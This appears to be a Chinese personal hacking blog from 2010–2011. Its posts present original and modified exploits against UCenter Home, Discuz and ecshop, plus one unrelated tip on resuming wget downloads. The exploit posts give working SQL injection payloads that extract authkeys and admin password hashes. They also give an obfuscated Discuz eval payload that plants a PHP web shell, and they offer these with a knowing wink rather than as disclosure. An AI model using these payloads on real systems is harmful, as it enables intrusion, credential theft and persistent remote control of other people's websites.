2011年1月23日星期日

【原创】UCenter Home 2.0 鸡叻 SQL 注入

uc_home 2.0 在magic_quote_gpc off 的环境下只对参数值进行过滤,忽略了参数名
function_common.php
//SQL ADDSLASHES
function saddslashes($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = saddslashes($val); //只过滤参数值
}
} else {
$string = addslashes($string);
}
return $string;
}

cp_profile.php 大约56行
//隐私
$inserts = array();
foreach ($_POST['friend'] as $key => $value) {
$value = intval($value);
$inserts[] = "('base','$key','$space[uid]','$value')"; //$key 未没过滤
}
if($inserts) {
$_SGLOBAL['db']->query("DELETE FROM ".tname('spaceinfo')." WHERE uid='$space[uid]' AND type='base'");
$_SGLOBAL['db']->query("INSERT INTO ".tname('spaceinfo')." (type,subtype,uid,friend)
VALUES ".implode(',', $inserts)); //这里出现注入漏洞
}

Exploit:
要求: magic_quote_gpc off
URL: cp.php?ac=profile&op=base

保存时创建一个POST,参数名为:
friend[a',(select 1 from(select count(*),concat((Select concat(substring(authkey,1,64)) FROM uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'1')#]
参数值: 随意

这里我使用火狐的tamper实时添加POST


得到 uchome的 authkey





然后你懂的

2010年11月15日星期一

wget

今天打包了个10G文件,要把该文件从服务器A下载到服务B,遇到了几个问题...
1. 报错 Bad port number
wget 'ftp://username@serverA.com:password@serverB.com/a.tar.gz'
把前面的@替换成%40就能解决
wget 'ftp://username%40serverA.com:password@serverB.com/a.tar.gz'

2. 由于文件太大,担心下载途中会断线,使用 -c 就能断点续传
wget -c 'ftp://username%40serverA.com:password@serverB.com/a.tar.gz'

3. 又考虑到如果不限制速度,下载这个文件期间可能会影响到这两台服务器的正常运作,使用--limit-rate完美解决
wget -c 'ftp://username%40serverA.com:password@serverB.com/a.tar.gz' --limit-rate=3m

4. 想想也是时候睡觉了,加多个 -b 参数,让wget在后台执行 , 然后logout ssh ... zzz
wget -c -b 'ftp://username%40serverA.com:password@serverB.com/a.tar.gz' --limit-rate=3m

2010年11月9日星期二

alibaba = 阿里巴巴?

2009年12月,由于工作需求加上自己也对网络安全感兴趣,就踏上了网络安全之路。取了个佚名-alibaba 。许多朋友问我为何网名取为alibaba,是不是和中国的阿里巴巴有关? 当初会取这个网名,其实就是想像阿拉丁神灯里的阿里巴巴一样,芝麻开门,至于芝麻开什么门呢?你懂的 ......

严格算起来,我的网安经验还不足一年,所以呀,原来我才一岁!

2010年10月19日星期二

【原创】Discuz非创始人管理员代码执行

global.func.php
function sendpm($toid, $subject, $message, $fromid = '') {
        if($fromid === '') {
                require_once DISCUZ_ROOT.'./uc_client/client.php';
                $fromid = $discuz_uid;
        }
        if($fromid) {
                uc_pm_send($fromid, $toid, $subject, $message);
        } else {
                global $promptkeys;
                if(in_array($subject, $promptkeys)) {
                        $type = $subject;
                } else {
                        extract($GLOBALS, EXTR_SKIP);
                        require_once DISCUZ_ROOT.'./include/discuzcode.func.php';
                        eval("\$message = addslashes(\"".$message."\");"); //无过滤,可插入代码
                        $type = 'systempm';
                        $message = '
'.$subject.' {time}'.discuzcode($message, 1, 0).'
';
                }
                sendnotice($toid, $message, $type);
        }
}
POC:
1. admincp.php?frames=yes&action=members&operation=newsletter
2. 发短消息,通知内容为:{${phpinfo()}}

EXP - (fputs(fopen('forumdata/cache/cache_01.php','w'),'');) :
{${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

2010年10月5日星期二

ecshop 通杀2.6*2.7 GBK版本 0DAY修改版

“俺是农村娃”丢出了个Ecshop 2.6*2.7 GBK版本漏洞,稍微修改了Exp,更简单快捷了
http://localhost/ecshop/api/checkorder.php?username=%ce%27%20and%201=2%20union%20select%201%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28Select%20concat%280x5b,user_name,0x3a,password,0x5d%29%20FROM%20ecs_admin_user%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20%23

2010年10月1日星期五

2010年8月24日星期二

【原创】一点也不鸡叻的 ecshop lib_common.php 注入

昨天无意间读到 http://www.packetstormsecurity.o ... d-SQL-Injection.txt,发现原来可以这样注入:
MySQL >= 5.0 :
执行
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
会报错:
Duplicate entry '5.1.30-community1' for key 'group_key'

MySQL < 5 :
执行
select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
数次后会报错:
Duplicate entry '4.1.22-community-nt:1' for key 1

正好解决了ecshop最新的漏洞


无礼包限制
影响版本:ecshop >= 2.7.0影响版本:ecshop >= 2.7.0

下载package.zip